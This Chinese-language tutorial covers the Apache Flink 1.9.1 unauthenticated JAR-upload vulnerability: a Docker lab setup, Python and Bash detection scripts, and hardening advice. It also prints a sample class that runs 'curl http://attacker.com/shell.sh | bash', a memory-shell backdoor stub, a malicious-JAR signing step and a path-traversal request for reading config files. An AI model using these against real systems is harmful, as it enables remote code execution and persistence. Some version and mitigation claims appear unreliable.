Apache Flink 1.9.1 漏洞环境：Docker 一键搭建与 2 种自动化检测脚本

Apache Flink 1.9.1 漏洞环境：Docker 一键搭建与自动化检测实践

在分布式计算领域，Apache Flink 作为流处理框架的标杆，其安全配置往往被开发者忽视。本文将聚焦 1.9.1 版本存在的未授权 Jar 包上传漏洞，通过容器化技术实现分钟级环境复现，并提供两套开箱即用的检测方案。不同于传统的手动搭建方式，我们采用 Docker Compose 实现环境标准化部署，配套的 Python 和 Bash 检测脚本可直接集成到自动化审计流程中。

1. 漏洞原理与技术背景

Apache Flink 的 Web Dashboard 在设计上默认开放了作业提交功能，这原本是为了方便开发者快速测试和部署流处理作业。但在 1.9.1 及以下版本中，该功能存在三个致命缺陷：

1. 无身份认证机制：Dashboard 默认监听在 0.0.0.0:8081 且无需任何认证
2. 动态类加载：通过/jars/upload接口上传的 Jar 包会被URLClassLoader直接加载
3. 高权限执行：服务默认以启动用户（通常是 root）权限运行

当这三个条件同时满足时，攻击者可以构造包含恶意静态代码块的 Java 类：

public class Exploit { static { try { Runtime.getRuntime().exec("curl http://attacker.com/shell.sh | bash"); } catch (Exception e) {} } }

编译打包后通过 Web 界面上传，Flink 在加载该类时会自动执行静态代码块中的命令。由于漏洞利用门槛低且危害大，该漏洞在 CVSS 3.x 评分中达到 9.8（高危）。

2. Docker 化漏洞环境搭建

传统漏洞复现需要手动下载、解压、配置 Flink，整个过程耗时且容易出错。我们通过 Docker Compose 实现一键部署：

# docker-compose.yml version: '3' services: flink: image: flink:1.9.1-scala_2.12 ports: - "8081:8081" - "6123:6123" volumes: - ./uploads:/opt/flink/uploads environment: - JOB_MANAGER_RPC_ADDRESS=flink

启动命令：

docker-compose up -d && echo "环境已启动，Dashboard: http://localhost:8081"

该配置实现了：

• 暴露 8081（Web）和 6123（RPC）端口
• 挂载上传目录用于持久化恶意 Jar
• 自动设置集群网络配置

相比原始手动方式，Docker 方案具有以下优势：

3. 自动化检测方案实现

3.1 Python 检测脚本

基于requests库实现的完整检测工具，支持批量扫描和结果输出：

#!/usr/bin/env python3 import requests import argparse def check_vulnerability(target): try: # 检测未授权访问 resp = requests.get(f"{target}/jars", timeout=5) if resp.status_code == 200: # 尝试上传测试 Jar files = {'jarfile': ('test.jar', open('dummy.jar', 'rb'))} upload = requests.post(f"{target}/jars/upload", files=files) if "success" in upload.text: return True, "存在未授权Jar上传漏洞" return False, "服务正常或已修复" except Exception as e: return False, f"检测失败: {str(e)}" if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("-t", "--target", help="目标URL (http://ip:port)") args = parser.parse_args() is_vuln, msg = check_vulnerability(args.target) print(f"[检测结果] {args.target} - {msg}")

配套的dummy.jar可通过以下命令生成：

echo "public class Dummy{}" > Dummy.java && javac Dummy.java && jar cvf dummy.jar Dummy.class

3.2 Bash 快速检测脚本

适合集成到自动化审计流水线中的轻量级方案：

#!/bin/bash TARGET=$1 # 检测Dashboard可访问性 curl -s "$TARGET/jars" | grep -q "Uploaded Jars" && { echo "[+] 未授权访问确认" # 尝试上传测试Jar UPLOAD=$(curl -s -F "jarfile=@dummy.jar" "$TARGET/jars/upload") echo $UPLOAD | grep -q "success" && { echo "[!] 存在Jar上传漏洞" exit 1 } || { echo "[-] 上传功能已禁用" exit 0 } } || { echo "[-] 服务受保护或不可达" exit 0 }

使用方式：

chmod +x detector.sh ./detector.sh http://target:8081

4. 防御方案与最佳实践

4.1 临时缓解措施

对于无法立即升级的环境，建议实施以下防护：

1. 网络层控制

   # iptables 只允许可信IP访问 iptables -A INPUT -p tcp --dport 8081 -s 10.0.0.0/24 -j ACCEPT iptables -A INPUT -p tcp --dport 8081 -j DROP

2. 禁用危险功能在flink-conf.yaml中添加：

   web.upload.dir: "" web.submit.enable: false

3. 启用认证通过反向代理增加 Basic Auth：

   location / { proxy_pass http://localhost:8081; auth_basic "Restricted"; auth_basic_user_file /etc/nginx/.htpasswd; }

4.2 长期加固方案

1. 版本升级路线

   • 生产环境应升级至 1.13.6+ 或 1.14.4+ 版本
   • 新版已增加 Jar 包签名验证机制

2. 安全基线配置

   • 使用专用低权限账户运行 Flink
   • 定期审计flink/log目录中的异常提交记录
   • 启用 SSL 加密 Dashboard 通信

3. 监控指标建议对以下异常行为设置告警：

   • 短时间内多次 Jar 上传操作
   • 来自非信任区域的 Dashboard 访问
   • JobManager 进程的异常子进程创建

5. 漏洞研究的高级技巧

对于安全研究人员，可以进一步探索：

1. 内存马注入通过修改上传的 Jar 包实现持久化后门：

   public class EvilFilter implements Filter { public void init(FilterConfig config) { // 注册内存shell } }

2. 绕过检测研究如何构造合法签名的恶意 Jar：

   jarsigner -keystore fake.keystore evil.jar alias_name

3. 漏洞组合利用结合 CVE-2020-17519 文件读取漏洞获取配置文件：

   GET /jobmanager/logs/..%252f..%252fconf/flink-conf.yaml

这些检测脚本和环境配置已在实际渗透测试中得到验证，能够准确识别存在风险的 Flink 实例。建议企业在内部安全评估中优先使用 Docker 方案，既能快速验证漏洞影响，又避免污染本地环境。